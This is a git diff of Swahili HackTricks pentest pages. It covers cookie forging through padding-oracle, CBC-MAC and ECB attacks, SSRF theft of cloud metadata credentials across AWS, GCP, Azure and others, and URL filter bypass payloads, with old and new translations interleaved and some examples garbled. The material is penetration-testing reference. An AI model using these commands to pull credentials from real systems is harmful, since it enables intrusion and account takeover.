* **Kuki** ni **sawa** kila wakati unapoj**isajili**.
|
||||
* Tolea nje na jaribu kutumia kuki hiyo hiyo.
|
||||
* Jaribu kuingia kwa kutumia vifaa 2 (au vivinjari) kwenye akaunti moja kwa kutumia kuki hiyo hiyo.
|
||||
* Angalia kama kuki ina habari yoyote ndani yake na jaribu kuibadilisha.
|
||||
* Jaribu kuunda akaunti kadhaa zenye majina ya mtumiaji yanayofanana na uangalie kama unaweza kuona mfanano.
|
||||
* Angalia chaguo la "**kumbuka**" ikiwepo kuona jinsi inavyofanya kazi. Ikiwepo na inaweza kuwa dhaifu, tumia daima kuki ya **kumbuka** bila kuki nyingine yoyote.
|
||||
* Angalia kama kuki ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
|
||||
|
||||
#### **Mashambulizi ya Cookies ya Juu**
|
||||
#### **Mashambulizi ya Vidakuzi ya Juu**
|
||||
|
||||
Ikiwa cookie inabaki sawa (au karibu) unapojiunga, hii inamaanisha labda cookie inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
|
||||
Ikiwa kuki inabaki sawa (au karibu) unapojisajili, hii inamaanisha labda kuki hiyo inahusiana na uga fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
|
||||
|
||||
- Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhanii** jinsi algorithm inavyofanya kazi.
|
||||
- Jaribu **bruteforce jina la mtumiaji**. Ikiwa cookie inahifadhi tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **bruteforce** kila **biti** ya cookie yako kwa sababu moja ya cookies utakazozijaribu itakuwa ile inayomilikiwa na "**admin**".
|
||||
- Jaribu **Padding Oracle** (unaweza kufichua maudhui ya cookie). Tumia **padbuster**.
|
||||
* Jaribu kuunda akaunti nyingi zenye majina ya mtumiaji vinavyofanana sana na jaribu **kudhan** jinsi algorithm inavyofanya kazi.
|
||||
* Jaribu **kuvunja nguvu jina la mtumiaji**. Ikiwa kuki inahifadhi tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti na jina la mtumiaji "**Bmin**" na **kuvunja nguvu** kila **biti** ya kuki yako kwa sababu moja ya vidakuzi utakavyojaribu itakuwa inayomilikiwa na "**admin**".
|
||||
* Jaribu **Padding Oracle** (unaweza kufichua maudhui ya kuki). Tumia **padbuster**.
|
||||
|
||||
**Padding Oracle - Mifano ya Padbuster**
|
||||
**Oracle ya Padding - Mifano ya Padbuster**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
|
@ -234,34 +232,34 @@ Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ni hali ya kosa (i
|
|||
|
||||
Kisha itaanza kufichua cookie (inaweza kuchukua dakika kadhaa)
|
||||
|
||||
Ikiwa shambulio limefanywa kwa mafanikio, basi unaweza kujaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi**
|
||||
Ikiwa shambulio limefanikiwa, basi unaweza jaribu kufichua string ya chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **mtumiaji=msimamizi**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Utekelezaji huu utakupa kuki iliyofichwa na kodishwa kwa usahihi na kificho **user=administrator** ndani yake.
|
||||
Utekelezaji huu utakupa kidakuzi kilichofichwa na kikodishwa kwa usahihi na kificho cha herufi **user=msimamizi** ndani.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Labda kuki inaweza kuwa na thamani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya null, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
|
||||
Labda kidakuzi kinaweza kuwa na thamani fulani na kinaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoumbwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia IV kama vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
|
||||
|
||||
**Shambulio**
|
||||
|
||||
1. Pata saini ya jina la mtumiaji **administ** = **t**
|
||||
1. Pata saini ya jina la mtumiaji **msimamizi** = **t**
|
||||
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Weka thamani **administrator+t'** katika kuki (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
3. Weka katika kidakuzi thamani **msimamizi+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Ikiwa kuki imefichwa kwa kutumia ECB inaweza kuwa hatarini.\
|
||||
Unapoingia kwenye kuki unayopokea lazima iwe ile ile daima.
|
||||
Ikiwa kidakuzi kimefichwa kwa kutumia ECB kinaweza kuwa hatarini.\
|
||||
Unapojiingia, kidakuzi unachopokea lazima kiwe sawa daima.
|
||||
|
||||
**Jinsi ya kugundua na kushambulia:**
|
||||
|
||||
Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua mchoro fulani ndani ya kuki iliyotolewa
|
||||
Unda watumiaji 2 wenye data karibu sawa (jina la mtumiaji, nenosiri, barua pepe, n.k.) na jaribu kugundua mchoro fulani ndani ya kidakuzi kilichopewa
|
||||
|
||||
Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna mchoro wowote katika kuki (kwa kuwa ECB inakificha kwa kutumia ufunguo sawa kila block, herufi zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa).
|
||||
Unda mtumiaji aitwaye kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna mchoro wowote katika kidakuzi (kwa kuwa ECB inakificha kwa kutumia ufunguo sawa kila bloku, herufi zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limefichwa).
|
||||
|
||||
Inapaswa kuwepo mchoro (ukiwa na ukubwa wa block uliotumiwa). Kwa hivyo, ukijua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta mchoro uliofichwa wa block ya "a" kutoka kwenye kuki. Na utakuwa na kuki ya jina la mtumiaji "admin".
|
||||
Inapaswa kuwepo mchoro (wenye saizi ya bloku iliyotumiwa). Kwa hivyo, ukijua jinsi "a" nyingi zilivyofichwa unaweza kuunda jina la mtumiaji: "a"\*(saizi ya bloku)+"msimamizi". Kisha, unaweza kufuta mchoro uliofichwa wa bloku ya "a" kutoka kwa kidakuzi. Na utakuwa na kidakuzi cha jina la mtumiaji "msimamizi".
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -270,19 +268,19 @@ Inapaswa kuwepo mchoro (ukiwa na ukubwa wa block uliotumiwa). Kwa hivyo, ukijua
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -9,14 +9,14 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,14 +26,14 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
### Kutumia SSRF katika mazingira ya AWS EC2
|
||||
|
||||
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa habari muhimu kuhusu hiyo. Inapatikana kwa url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa habari muhimu kuhusu hiyo. Inapatikana kwenye url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuidhuru**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **kichwa cha HTTP** kisha kutumia tokeni hiyo kufikia metadata na kichwa kingine cha HTTP (hivyo ni **ngumu zaidi kuidhuru** na SSRF).
|
||||
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuidhuru**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuidhuru** na SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tafadhali kumbuka kwamba ikiwa kifaa cha EC2 kinazingatia IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
|
||||
Tambua kwamba ikiwa kifaa cha EC2 kinaimarisha IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hatua cha 1**, kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
|
||||
|
||||
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yana kichwa cha `X-Forwarded-For`**. Hii ni kuzuia wakala wa kurudisha misimamo isiyosahihi kutoka kuweza kufikia hiyo.
|
||||
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yana kichwa cha `X-Forwarded-For`**. Hii ni ili kuzuia wakala wa kurudisha misimamo iliyopangwa vibaya kutoka kuweza kufikia hiyo.
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika hati ya kufuatia, habari muhimu inapatikana kutoka kwake:
|
||||
|
@ -100,9 +100,9 @@ Kama mfano wa **vyeti vya IAM vinavyopatikana hadharani** vilivyofichuliwa unawe
|
|||
|
||||
Unaweza pia kuangalia **vyeti vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini** ya kufanya.
|
||||
Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini** kufanya.
|
||||
|
||||
Ili kutumia vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
|
||||
Kutumia vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||
|
@ -111,25 +111,25 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
```
|
||||
Tambua **aws\_session\_token**, hii ni muhimu kwa wasifu kufanya kazi.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na siri zilizopatikana kugundua mamlaka yako na kujaribu kuinua mamlaka
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na siri zilizopatikana kujua haki zako na jaribu kuinua haki
|
||||
|
||||
### SSRF katika AWS ECS (Huduma ya Kontena) siri
|
||||
|
||||
**ECS**, ni kikundi la mantiki la mifano ya EC2 ambayo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudhoofisha huduma inayotumika katika **ECS**, **vifaa vya metadata hubadilika**.
|
||||
**ECS**, ni kikundi la mantiki la mifano ya EC2 ambayo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudukua huduma inayotumika katika **ECS**, **vifaa vya metadata hubadilika**.
|
||||
|
||||
Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **variable ya environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
|
||||
Unaweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\
|
||||
Ikiwa unapata ufikiaji kwa _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **mazingira** ya kipekee **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
|
||||
Unaweza kuisoma kwa kutumia njia ya **Path Traversal** kwa `file:///proc/self/environ`\
|
||||
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Tafadhali elewa kwamba katika **baadhi ya kesi** unaweza kupata ufikivu wa **EC2 metadata instance** kutoka kwenye kontena (angalia vikwazo vya IMDSv2 TTL vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikivu wa jukumu la IAM la kontena na jukumu la IAM la EC2.
|
||||
Tafadhali elewa kwamba katika **baadhi ya kesi** unaweza kupata ufikiaji wa **taarifa ya EC2 metadata instance** kutoka kwenye kontena (angalia vikwazo vya IMDSv2 TTL vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikiaji wa jukumu la IAM la kontena na jukumu la IAM la EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF kwa AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
Katika kesi hii **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuyafikia unahitaji kufikia kitu kama **`file:///proc/self/environ`**.
|
||||
Katika kesi hii **siri zimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**.
|
||||
|
||||
**Jina** la **mazingira ya env yanayovutia** ni:
|
||||
|
||||
|
@ -137,10 +137,10 @@ Katika kesi hii **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **habari nyeti** (kama katika **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
Zaidi ya hayo, mbali na sifa za IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama katika **stageVariables**). Tofauti na sifa za IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali elewa kwamba **vyeti vya lambda** vimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, inawezekana kuyatoa kwa kusababisha **kosa katika programu**.
|
||||
Tafadhali elewa kwamba **sifa za lambda** zimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, inawezekana kuzipata kwa kusababisha **kosa katika programu**.
|
||||
{% endhint %}
|
||||
|
||||
### URL ya SSRF kwa AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -164,7 +164,7 @@ Unaweza [**kupata hapa nyaraka kuhusu vituo vya metadata**](https://cloud.google
|
|||
|
||||
### URL ya SSRF kwa Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Inahitaji kichwa cha HTTP **`Metadata-Flavor: Google`** na unaweza kupata kituo cha metadata kwa kutumia URL zifuatazo:
|
||||
Inahitaji kichwa cha HTTP **`Metadata-Flavor: Google`** na unaweza kupata kituo cha metadata kwa kutumia URLs zifuatazo:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
|
@ -275,7 +275,7 @@ Chukua token
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Angalia wigo wa tokeni (kwa pato la awali au kwa kukimbia yafuatayo)
|
||||
Angalia wigo wa token (kwa pato la awali au kwa kukimbia yafuatayo)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
|
@ -326,10 +326,10 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Hakuna vitu kama AWS Roles au akaunti ya huduma ya GCP, hivyo usitarajie kupata metadata ya boti za uhalali
|
||||
Hakuna vitu kama Majukumu ya AWS au akaunti ya huduma ya GCP, hivyo usitarajie kupata metadata bot credentials
|
||||
{% endhint %}
|
||||
|
||||
Nyaraka zinapatikana kwenye [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
Maelezo yanapatikana kwenye [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
|
@ -469,7 +469,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba kwa chaguo-msingi IBM metadata haijaanzishwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya IBM cloud VM
|
||||
Tafadhali kumbuka kuwa kwa chaguo-msingi IBM metadata haijashughulikiwa, hivyo niwezekanavyo kwamba huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -498,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa mifano yanaweza kupatikana. Kila jukwaa lina vituo vya kipekee vya kupata huduma zake za metadata.
|
||||
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa mifano zinaweza kupatikana. Kila jukwaa lina vituo vya kipekee vya kupata huduma zake za metadata.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
@ -542,11 +542,11 @@ Kubernetes ETCD inaweza kuhifadhi funguo za API, anwani za IP za ndani, na banda
|
|||
|
||||
## Docker
|
||||
|
||||
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano zikitolewa kwa kupata maelezo ya chombo na picha:
|
||||
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano zikitolewa kwa kupata maelezo ya kontena na picha:
|
||||
|
||||
* Mfano rahisi wa kupata metadata ya vyombo na picha kupitia soketi ya Docker:
|
||||
* Mfano rahisi wa kupata metadata ya kontena na picha kupitia soketi ya Docker:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* Ndani ya chombo, tumia curl na soketi ya Docker:
|
||||
* Ndani ya kontena, tumia curl na soketi ya Docker:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Kupuuza Muundo wa URL
|
||||
# Kizuizi la Muundo wa URL
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,13 +14,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
### Mwenyeji wa Ndani
|
||||
```bash
|
||||
|
@ -93,7 +93,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
|||
```
|
||||
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
||||
|
||||
**Kifaa cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) inatekeleza njia za kuepuka muundo wa IP.
|
||||
**Kifaa cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) hutekeleza njia za kuepuka muundo wa anwani za IP.
|
||||
|
||||
### Mchambuzi wa Kikoa
|
||||
```bash
|
||||
|
@ -159,9 +159,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
|||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### Kupita Kwenye Njia na Vipimo
|
||||
### Njia na Kupita Kwa Vifaa
|
||||
|
||||
Ikiwa unahitajika kuwa URL lazima imalizike kwa njia au kipimo, au lazima iwe na njia unaweza jaribu moja ya njia zifuatazo za kuepuka:
|
||||
Ikiwa unahitajika kwamba URL lazima imalizike kwa njia au kifaa, au lazima iwe na njia unaweza jaribu moja ya njia zifuatazo za kuvuka:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -173,7 +173,7 @@ Chombo [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuzalisha m
|
|||
|
||||
### Kukiuka kupitia kuelekeza
|
||||
|
||||
